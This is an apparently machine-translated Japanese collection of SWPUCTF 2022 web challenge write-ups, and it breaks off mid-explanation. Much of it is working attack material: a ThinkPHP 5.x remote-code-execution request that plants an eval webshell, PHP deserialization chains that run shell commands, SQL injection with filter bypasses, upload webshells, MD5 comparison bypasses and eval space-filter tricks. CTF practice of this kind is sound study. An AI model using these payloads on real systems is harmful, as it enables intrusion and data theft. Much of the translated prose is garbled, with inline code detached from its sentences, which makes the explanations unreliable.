SWPUCTF 2022
no_no_php
環境を開いてソースコードを取得します
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}
else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php
ファイルには以下が含まれており、疑似プロトコルを使用して読み取り、ペイロードを構築します。
http://node1.anna.nssctf.cn:28012/?file=php://filter/read=convert.base64-encode/resource=flag
次に、base64 デコードしてフラグを取得します
this_rce
f12、何も見えず、パケット キャプチャでも何もキャプチャできない
dirsearch でスキャンすると、robots.txt
訪れてヒントを見つけよう/NSS/index.php
訪問
しばらくアイデアがなかったのでグーグルで調べたところ、それがThinkPHP V5
CVE であることがわかりました。
ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現
ターゲット マシンとローカルの構築環境が異なるため、以下の 2 つのペイロードが与えられます。
フラグがありません/flag
。フラグのパスは/NSS/ctf/flag/flag
1. シェルへの書き込み
ペイロード:
http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_GET["code"])?>
このコードは と書かれておりtest.php
、その内容はシェルなので、シェルを使用してフラグとペイロードを読み取ることができます。
アントソードを使って接続したくないわけではなく、接続できない理由がわからないだけです。
http://node1.anna.nssctf.cn:28962/test.php?code=system(%22cat%20/nss/ctf/flag/flag%22);
2. フラグを直接読み取る
find コマンドを使用してフラグを見つけることができますが、結局のところ、見つけるのは困難です。
http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20$(find%20/%20-name%20flag)
または、フラグ ファイルを 1 つずつ見つけて読み取ります
http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/nss/ctf/flag/flag
素晴らしいMD5
ヒント: ctf の素晴らしい文字列について聞いたことがありますか?
まずクエリを送信してから、パッケージを取得して確認してください。
md5解密
私たちが送信したデータが通過して処理されることがわかります。
したがって、まず文字列を見つける必要がありますが、md5 によって取得された 16 ビットのオリジナルのバイナリ文字列がこれを実現するのに役立ちますsql注入
。
or
この文字列は必要ですが、同時に元の SQL 文と一致させるためには单引号
or の両側にある必要があり单引号
、 というpassword=‘xxx’or‘xxx’
形になります。
したがって、必要な文字列の元のバイナリ形式が含まれている必要があります'or'
が、元のバイナリに基づいて必要な文字列を見つけるのが面倒な場合は、32 ビットの 16 進文字列に基づいて文字列を見つけることができます。はじめに、'or'
対応する 16 進数は です276f7227
。したがって、私たちの目標は、32 ビットの 16 進数の md5 値でこのフィールドを含む文字列を見つけることです276f7227
。
次にキー番号の部分ですが、フィールド 276f7227 以降は紧跟一个数字
、0、1 ~ 9 に加えて、対応する ASC コード値は 49 ~ 57 で、16 進数に変換すると 31 ~ 39 になります。つまり、フィールド 276f7227+ (31-39) が必要です。、要件を満たすことができます。例: xxxxxxxxxxxxxxxx276f7227 (31-39)xxxxxx
ffifdyop
、この点の原理は、ffifdyop
この文字列が md5 によってハッシュされた後、 になるということです276f722736c95d99e921722cf9ed621c
。この文字列の最初の数桁はたまたま ' または '6 になります。
そして、Mysql はたまたま 16 進数を ASCII 解釈に変換するので、結合後の形式は次のようになります。select * from ‘admin’ where password=’’ or ‘6xxxxx’
したがって、ffifdyop
クエリを送信して新しいインターフェイスに入ります
f12 のソース コードを確認すると、md5弱比较
配列を直接バイパスできます。
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
;
ペイロードを構築します。
node3.anna.nssctf.cn:28028/c0nt1nue.php?x[]=1&y[]=2
新しいインターフェースに入り、ソースコードを取得します
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
echo $FLAG;
}
今回は、md5 とペイロードの構築の強力な比較です。
wqh=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&dsy=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
this_this_php(復讐)
環境を開いてソースコードを取得します
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}
else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php
また、擬似プロトコルを使用してペイロードを直接構築します。
http://node3.anna.nssctf.cn:28472/?file=php://filter/read=convert.base64-encode/resource=flag.php
それからbase64でデコードして消去してください、騙されました
ペイロードを再構築します。
http://node3.anna.nssctf.cn:28472/?file=php://filter/read=convert.base64-encode/resource=/flag
今回はbase64デコードでフラグを取得できます。
1z_unserialize
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
ここでは逆シリアル化について調べます。使用のポイントは次のとおりです。
$a($this->lly);
$a
ここでコマンドの実行を許可することができ、system
関数が破棄されたときの$lt
値が設定されます。
式を構築します。
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __construct()
{
$this->lt ="system";
$this->lly="ls /";
}
}
$a=new lyh();
echo (serialize($a))
?>
ペイロード:
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}
それならPOST
アウトソーシングを利用しましょう
フラグを取得するようにコマンドを変更します。
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:7:"cat /f*";}
数字のゲーム
dirsearch をスキャンすると、いくつかのファイルが表示されます
アクセスflag.php
して開きF12
、再度アクセスしindex.php
てソース コードを表示します。
取得できる
NSSCTF{TnNTY1RmLnBocA==}
デコードしてください
NsScTf.php
次に、ファイルにアクセスしてコードを取得します
<?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
static function ctf(){
include("./hint2.php");
}
}
if(isset($_GET['p'])){
if (preg_match("/n|c/m",$_GET['p'], $matches))
die("no");
call_user_func($_GET['p']);
}else{
highlight_file(__FILE__);
}
- これには、「flag.php」というファイルの内容が含まれています。このファイルには、質問への回答やロゴなどの機密情報が含まれている可能性があります。
- という名前のクラスが定義されており
nss
、このクラスには静的メソッドがありますctf
。このメソッド内には、「hint2.php」という名前のファイルが含まれています。- GETリクエストでパラメータを渡すと
p
条件判定が入ります。条件判定ではパラメータに「n」または「c」の文字が含まれているかどうかを正規表現で判定し、p
文字「n」または「c」が含まれている場合は「no」を出力してプログラムを終了します。- 条件判定が失敗した場合は、パラメータに対応する関数が呼び出され
call_user_func
て実行されます。p
- パラメータが渡されない場合
p
、highlight_file
この関数はブラウザ内の現在のファイルのソース コードを強調表示するために使用されます。
GET
ここで、通常のマッチングは、メソッドで渡されたパラメータの値と一致しますp
。最初のヒントと組み合わせると、次POST
の形式でパッケージを送信する必要があると推測されます。
実際、この通常の一致は大文字と小文字を無視する
/i
ために使用され。
ここでそれを参照しhint2.php
、アクセスしてhint2.php
2 番目のヒントを取得します。
したがって、ポストパッケージを送信するとき、クラス名は でありnss2
、関数は依然としてctf
ペイロードを構築します。
p=nss2::ctf
実際、ここでもhint2.php
同様の方法で表示されますが、直接表示することもできます
ここはどこ
オープンな環境
携帯電話番号を入力し、画像認識 Web サイトを使用して確認する必要があると思います。
古迹酒店
電話番号を確認する
電話番号を取得し、括弧を削除します
02886112888
落とし穴: ここに何度か入力してみましたがダメでした。電話番号の問題かと思いましたが、環境に再入力すれば問題ありません。
次に入力してフラグを取得します
not_not_unserialize
ソースコードは次のとおりです
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
ここでの機能は__FILE__
現在のファイルを取得することです
次に、逆シリアル化の開始時にマジック メソッドをトリガーして、値が現在のファイル名であるかどうかを__wakeup()
検出します。そうでない場合は、値を次のファイル名に再割り当てします。$x
__FILE__
次に、逆シリアル化の最後にマジック メソッドをトリガーして、__destruct()
ファイルの内容を表示します。
染める__wakeup()
前にPHPのバージョンを確認してください
PHP5のバージョンが確認できます<5.6.25
したがって、オブジェクトの属性の数が一致しないという方法を使用してバイパスできます。
最初にexpを構築し、フラグはfllllllag.php
<?php
class X
{
public $x;
function __construct()
{
$this->x = "fllllllag.php";
}
}
$a=new X();
echo serialize($a);
走って手に入れよう
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
属性の数を変更する
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
次に、パスパラメータ、ペイロードを取得します
http://node5.anna.nssctf.cn:28562/?x=O:1:%22X%22:2:{s:1:%22x%22;s:13:%22fllllllag.php%22;}
フラグを取得
js_sign
F12でソースコードが見れる
document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
if (btoa(flag.value) == 'dGFwY29kZQ==') {
alert("you got hint!!!");
} else {
alert("fuck off !!");
}
})
dGFwY29kZQ==
デコードされて取得されますtapcode
ノックコード(?)、これまで見たことはありませんが、スペースに行ってフラグを解読するだけです。
文字列からスペースを削除して取得します
3343431344215434452124331421311122125444113513341415
逆捜査が見つかる可能性がある
n(N) s(S) s(S) c(C) t(T) f(F) y(Y) o(O) u(U) f(F) i(I) n(N) d(D) f(F) l(L) a(A) g(G) b(B) y(Y) t(T) a(A) p(P) c(C) o(O) d(D) e(E)
フラグを取得
NSSCTF{youfindflagbytapcode}
xff
オープンな環境
推測ではXFF伪造
、げっぷがパケットを捕らえて偽造したのではないかと考えられます。
X-Forwarded-For:127.0.0.1
説明はホームページからリダイレクトする必要があります。Referer
偽物です。
Referer:127.0.0.1
フラグを取得
ez_sql
パラメータを渡すには比較的安全な方法を使用する必要があることに注意してください。ここではPOST
パラメータの受け渡しを使用します。GET を使用すると、エラーがポップアップします。
まずはクロージング方法を決める
エラー報告方法によると、終了メソッドが単一引用符であることがわかります。
次は関節注射を試してみましょう
nss=1' union select 1,2,3;#
union
エラーメッセージを見ると、合計と が空格
消去されることが分かりますが、ここunion
を二重書きに置き換えたり、スペースを入れてみたりしてみてください。/**/
ペイロードを構築します。
nss=2'/**/ununionion/**/select/**/1,2,3;#
バイパス成功
次のステップは在庫を爆発させることです
nss=2'/**/ununionion/**/select/**/1,database(),3;#
爆発物
ここで表が爆発するとor
消滅してしまうので二重に書くように注意してください。
nss=2'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#
爆発物フィールド
nss=2'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#
データを取得する
nss=2'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_tb;#
なぜ2つあるのか分かりません。。。。Secr3t のテーブルは正しいです。
webdog1__start
F12でコードが見える
if (isset($_GET['web']))
{
$first=$_GET['web'];
if ($first==md5($first))
この種の弱比較では$a==md5($a)
配列をバイパスすることができないため、ここでは0e
弱比較をバイパスするメソッドを使用します。
ペイロード:
?web=0e215962017
次にstart.php
インターフェースに入ります
次に、Ctrl+U
フロントエンド コードを表示し続けると、ヒントが表示されます。
ここでbot
私が言いたいのは、robots.txt
訪問することです
なぜ Firefox を使って中国語の文字化けに直接アクセスするのかわかりません (
それから訪問してくださいf14g.php
リターンヘッダーからパケットキャプチャを確認できますhint
次に、アクセスしF1l1l1l1l1lag.php
てコードを取得します。
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
$get=$_GET['get'];
if(!strstr($get," ")){
$get = str_ireplace("flag", " ", $get);
if (strlen($get)>18){
die("This is too long.");
}
else{
eval($get);
}
}else {
die("nonono");
}
}
getメソッドでgetパラメータを渡す必要があります。
渡されたパラメータは存在できません空格
。存在する場合はflag
、flag
使用率str_ireplace()
関数を次のように変更します。空格
文字列の長さは必須です。上記の条件が満たされる場合、その文字列はget パラメータの実行に小于等于18
使用されます。eval
スペースを回避する方法は数多くありますが、一般的に使用される 2 つの方法は、<
リダイレクト文字とスペーサー文字です。$IFS
これはシステム変数であるためIFS
、デフォルト値は であり空格
、変数はコマンドよりも高い優先順位を持っている命令+$IFS+参数
ため、メソッドを使用してスペース フィルタリングをバイパスできます。
ただし、このメソッドを直接使用してこれを回避することはできません命令+$IFS+参数
。たとえば、Linux システムが1 つのシステムと見なされ、正常に解析できない可能cat$IFSflag
性があるため、これは不可能です。したがって、正常に解析されるようにするには、後で切り詰める必要があります。$IFSflag
整体
空格
$IFS
$IFS
/
絶対パスの前に区切り文字を使用しますcat$IFS/flag.php
- ワイルドカードを使用して
?
文字を区切ると、?
Linux で文字を置換できます
ファジーマッチングはLinuxでも実行可能
cat$IFS?lag.php
${}
3.分離を利用するcat${IFS}flag.php
4. カスタム変数を作成できます: a=参数
、コマンド$IFS$a
cat$IFS$aflag.php
5. フィルターなし"0~9"、"@"、"*"命令$IFS$
ファイル リダイレクトによってスペースをバイパスする原則は、ファイル リダイレクト シンボルの実行優先順位がコマンドよりも高いことです。
格式:cat<ファイル名 cat<>flag.txt
ファイル リダイレクト オペレータはスペース フィルタリングをバイパスし、cat、head、tail などのファイル表示に関連するコマンドにのみ使用できます。
その他のバイパス: tab %09
、%0a
制表符\t
*
フラグの回避については非常にシンプルで、基本的には先ほどのファジーマッチングを利用していることがわかります。
また、長さがあるため、より短いバイパス方法を使用することをお勧めします。たとえば、cat を nl に置き換えることができます。
最終的なペイロード:
?get=system("nl%09/*");
?get=system("nl\t/*");
またはカスタム変数を使用する
?get=eval($_GET['A']);&A=system('cat /flag');
面白い_php
環境を開いてソースコードを取得します
<?php
session_start();
highlight_file(__FILE__);
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
include('flag.php');
echo $flag;
}
?>
レイヤーごとに、それを に渡す必要がありnum
、長さは文字<=3
と数字でなければなりません。>999999999
ここでインデックスを使用してe
バイパスできます
ペイロードの構築
?num=9e9
次に、次のstr
値をNSSCTF
渡す必要がありますNSSCTF
。str
ペイロードを構築します。
?num=9e9&str=NNSSCTFSSCTF
次に、両方の値が文字列であることを要求するPOST
sum を渡します。 および 2 つの値の md5 暗号化後の値は同じですが、ここでは弱い比較を示します。md5_1
md5_2
md5_1!==md5_2
ここで使用するものを選択してください0e绕过弱比较
0e で始まる一部の特殊な
字符串
暗号文の場合、PHP は科学表記法、つまり 0 の n 乗として扱い、比較すると得られる値は同じになります。
POSTパラメータ
md5_1=QNKCDZO&md5_2=PJNPDWY
最終的なリクエストヘッダーは次のとおりです
it_1zpop
コードは以下のように表示されます
<?php
error_reporting(0);
class dxg
{
function fmm()
{
return "nonono";
}
}
class lt
{
public $impo='hi';
public $md51='weclome';
public $md52='to NSS';
function __construct()
{
$this->impo = new dxg;
}
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}
function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct()
{
echo $this;
}
}
class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}
if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}
ポップチェーンを構築する
fin
ここでは、クラスのfmm()
関数でコマンドを実行する必要があります
__toString()
調べてみると、マジックメソッドによってトリガーされるimpo
値のfmm()
関数であることがわかりました。
__toString(): オブジェクトが文字列として使用されるときにトリガーされます。
したがって、検索すると__destruct()
、ポップは次のようになります
fin::fmm() <- lt::__toString <- lt::__destruct
exp を構築するときに必要な条件は__toString()
、受信した sum の値を構築する必要があり、MD5 暗号化後の値は等しいが等しくないということmd51
ですmd52
。md51
これmd51
は使用できる弱い比較です0e绕过弱比较
(前の質問と同じ) )
経験値:
<?php
class lt
{
public $impo;
public $md51 = 'QNKCDZO';
public $md52 = 'PJNPDWY';
function __construct()
{
$this->impo = new fin();
}
}
class fin
{
public $a;
public $url = '111';
public $title ;
function __construct()
{
$this->a = 'system';
$this->title='ls /';
}
}
$a = new lt();
echo serialize($a);
ビルドを実行する
O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}
ただし、ここでの__wakeup()
魔法の方法に注意してください
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}
彼はimpo
値を に割り当てますnew dxg
が、これによりクラスに入ることができなくなるため、それをバイパスしてバージョンを確認するfin
必要があります。__wakeup()
PHP/5.5.38の場合、オブジェクトの属性数が不一致のメソッドが使用できることになります。
ペイロードを変更します。
O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}
次に、コマンドを変更してcat /f*
フラグを取得します
O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:7:"cat /f*";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}
this_upload
ファイルのアップロード。最初に php ファイルをアップロードしてみてください
ブラックリストフィルタリングし、.htaccess
ファイルを使用してバイパスしてアップロードします.htaccess
。内容は次のとおりです
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
最初に.htaccess
ファイルをアップロードする
しかし、ここでもアップロードは失敗します。フィルタリングがまだあるはずです。変更してください。MIME类型
このようにして、アップロードが成功したので、jpg
すぐに写真をアップロードします
ファイルタイプ検出があることを示すタイプを変更し、ファイルヘッダーを前に追加します。GIF89a
追加後もまだ機能しません(まだ完了していません)
短いタグのフィルタリングがあるはずです。内容を変更してアップロードしてください。
GIF89a<script language ="php"> eval($_REQUEST['cmd']); </script>
それから訪問してください
http://node5.anna.nssctf.cn:28211/upload/1ab7604dc44c5225b3b50a4f361f5fc7/shell.jpg
次にRCEを実行します
それでflag
中身を見てみると何もなくて騙されました。
見てくださいphpinfo
http://node5.anna.nssctf.cn:28211/upload/1ab7604dc44c5225b3b50a4f361f5fc7/shell.jpg?cmd=phpinfo();
フラグを取得
ファニーウェブ
アカウントのパスワードを入力するだけで、ヒントがポップアップ表示されます。
ユーザー名は ですNSS
。パスワードはお好みで入力してください
パスワードは2122693401
、ログインしてソースコードを入手してください
謝チームは私物を持ち込んだんですよね?
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num != '12345') {
if (intval($num) == '12345') {
echo $FLAG;
}
} else {
echo "这为何相等又不相等";
}
}
次に、intval()
ここで関数をバイパスするだけです。ここで使用できます。小数绕过
ペイロードを構築します。
http://node5.anna.nssctf.cn:28399/rea11y.php?num=12345.6
パラメータを渡してフラグを取得する
ファイルマスター
質問にはファイル閲覧機能がありますが、権限が不足しているためフラグを直接閲覧することはできません。
最初に見るindex.php
ソースコードが利用可能
<?php
session_start();
if(isset($_GET['filename'])){
echo file_get_contents($_GET['filename']);
}
else if(isset($_FILES['file']['name'])){
$whtie_list = array("image/jpeg");
$filetype = $_FILES["file"]["type"];
if(in_array($filetype,$whtie_list)){
$img_info = @getimagesize($_FILES["file"]["tmp_name"]);
if($img_info){
if($img_info[0]<=20 && $img_info[1]<=20){
if(!is_dir("upload/".session_id())){
mkdir("upload/".session_id());
}
$save_path = "upload/".session_id()."/".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);
$content = file_get_contents($save_path);
if(preg_match("/php/i",$content)){
sleep(5);
@unlink($save_path);
die("hacker!!!");
}else{
echo "upload success!! upload/your_sessionid/your_filename";
}
}else{
die("image hight and width must less than 20");
}
}else{
die("invalid file head");
}
}else{
die("invalid file type!image/jpeg only!!");
}
}else{
echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';
}
?>
MIME
タイプが検出され、のみ許可されることがわかります。image/jpeg
ファイルのアップロード後、通常の照合が実行され、ファイルの内容にphp
(大文字と小文字は区別されません) が含まれている場合、ファイルは 5 秒の遅延後に削除されます。
これは実際には短いタグのフィルタリングであり、短いタグを変更することでこれを回避できます。
PHPの短いタグのバイパス
php で最も一般的なタグは <?php ?> です。
ただし、php キーワードは、質問がアップロードされるときに waf によって除外される場合があります。クエリ結果によると、PHP タグには次の 4 種類があります。
①<? ?> は、short_open_tag=on が設定されている場合にのみ使用でき、PHP ステートメントの実行に適しています。
②<?= ?>はshort_open_tag=offが設定されている場合でも使用でき、<?php echo ?>と同等で、phpステートメントの出力に適しています~
上記 2 つの短いタグは閉じる必要はありません (つまり、?> は省略するか書かなくても接続は成功します)。
<? @eval($_POST['a']);?>
<?= @eval($_POST['a']);?>
<? @eval($_POST['a']);
<?= @eval($_POST['a']);
次に、トロイの木馬の文をアップロードします
ファイルヘッダー検出がある場合は、ファイルヘッダーを追加します。GIF89a
次に、画像の幅と高さが 20 未満である必要があることを求めるメッセージが表示されます。
上記の phpinfo() を忘れずに削除してください
ここに正常にアップロードされました
次に、RCE を利用しsessionid
て実行しますfilename
ペイロード:
http://node5.anna.nssctf.cn:28118/upload/7mvv3slg9k03vuarv1ckom0hrl/shell.php?cmd=system(%22cat%20/f*%22);
力!
F12 キーでヒントを表示できます
source
、好きなようにパラメータを渡し、それを数値と等しくします
http://node5.anna.nssctf.cn:28431/?source=1
ソースコードを取得する
<?php
class FileViewer{
public $black_list = "flag";
public $local = "http://127.0.0.1/";
public $path;
public function __call($f,$a){
$this->loadfile();
}
public function loadfile(){
if(!is_array($this->path)){
if(preg_match("/".$this->black_list."/i",$this->path)){
$file = $this->curl($this->local."cheems.jpg");
}else{
$file = $this->curl($this->local.$this->path);
}
}else{
$file = $this->curl($this->local."cheems.jpg");
}
echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
}
public function curl($path){
$url = $path;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
public function __wakeup(){
$this->local = "http://127.0.0.1/";
}
}
class Backdoor{
public $a;
public $b;
public $superhacker = "hacker.jpg";
public function goodman($i,$j){
$i->$j = $this->superhacker;
}
public function __destruct(){
$this->goodman($this->a,$this->b);
$this->a->c();
}
}
if(isset($_GET['source'])){
highlight_file(__FILE__);
}else{
if(isset($_GET['image_path'])){
$path = $_GET['image_path']; //flag in /flag.php
if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}else{
echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
}
}else if(isset($_GET['path_info'])){
$path_info = $_GET['path_info'];
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();
}else{
$path = "vergil.jpg";
echo '<h2>POWER!!</h2>
<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}
}
?>
この段落からわかるように、クエリされたファイルはfile_get_contents()
関数を通じて Base64 エンコード形式で出力されるので、見てみることができます。flag.php
デコードして取得します
<?php
$a = "good job,but there is no flag
i put my flag in intranet(127.0.0.1:65500)
outsider have no permissions to get it
if you want it,then you have to take it
but you already knew the rules
try it";
?>
この質問のエントリ ポイントはメソッドにありますFileViewer
。コマンドloadfile()
を実装するコードがあります。の内容によると、次のことができます。curl
flag.php
curl 127.0.0.1:65500/flag
関数をトリガーするには、loadfile()
まずマジック メソッドFileViewer
をトリガーする必要があります。__call()
__call(): オブジェクトコンテキストでアクセスできないメソッドが呼び出されたときにトリガーされます。
次に、マジック メソッドをトリガーする方法を確認すると、マジックメソッドが存在しないメソッドにアクセスしていること__call()
がわかります。Backdoor
__destruct()
c()
__destruct(): オブジェクトが破棄されるとトリガーされます。
goodman
ただし、その前に、まず再割り当てするメソッドを入力し、$a
クラス内の属性$b
、つまり値Backdoor
をクラスに再割り当てします。$superhacker
ここでまだ解決されていないチェーン構築の最も重要な点は、curl
パスを設定してコードを監査することです。
$file = $this->curl($this->local.$this->path);
中性化によってcurl
パスFileViewer
が決まることがわかるので、変数を介して新しいオブジェクトを作成できます。local
path
$a
FileViewer
black_list
